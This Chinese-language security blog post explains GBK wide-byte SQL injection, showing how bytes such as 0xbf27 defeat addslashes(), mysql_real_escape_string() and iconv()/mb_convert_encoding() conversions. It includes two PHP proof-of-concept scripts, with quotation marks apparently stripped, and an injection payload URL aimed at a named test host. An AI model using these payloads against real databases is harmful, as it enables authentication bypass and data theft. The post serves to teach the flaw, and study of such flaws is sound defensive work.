低级绕过手段

作者孤独浪子

其实这东西国内少数黑客早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后

变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触

发了。

     mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相

应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一：

改变mysql配置文件my.cnf

CODE:

[client]
default-character-set=GBK
方法二：
在建立连接时使用
CODE:
SET CHARACTER SET GBK
例：mysql_query("SET CHARACTER SET gbk", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自<a href="http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.%3Ca%20href=" http:="" www.2cto.com="" kf="" qianduan="" css="" "="" target="_blank" class="keylink" style="color: rgb(51, 51, 51); text-decoration: none;">html">http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET gbk", $c);

// create demo table
mysql_query("Create TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET GBK", $c);
mysql_query("Insert INTO users VALUES(foo,bar), (baz,test)", $c);

// now the exploit code
$_POST[username] = chr(0xbf) . chr(0x27) . or username = username /*; 
$_POST[password] = anything;

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST[username], $c);
$passwd = mysql_real_escape_string($_POST[password], $c);

$sql = "Select * FROM  users Where  username = {$user} AND password = {$passwd}";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知
道字符集的情况下用默认字符集处理产生漏洞的。
       下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过
addslashes() 加上的""失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。  
      根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试
$id1=mb_convert_encoding($_GET[id], utf-8, gbk);
$id2=iconv(gbk//IGNORE, utf-8, $_GET[id]);
$id3=iconv(gbk, utf-8, $_GET[id]);
这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET gbk", $c);

// create demo table
mysql_query("Create TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET GBK", $c);
mysql_query("Insert INTO users VALUES(foo,bar), (baz,test)", $c);

// now the exploit code
//$id1=mb_convert_encoding($_GET[id], utf-8, gbk);
$id2=iconv(gbk//IGNORE, utf-8, $_GET[id]);
//$id3=iconv(gbk, utf-8, $_GET[id]);

$sql = "Select * FROM  users Where  username = {$id2} AND password = password";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 or username = username /*
 
    后记，这里不光是%bf，其它许多字符也可以造成同样漏洞，大家可以自己做个测试的查下，这里有zwell文章提到的一个分析
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值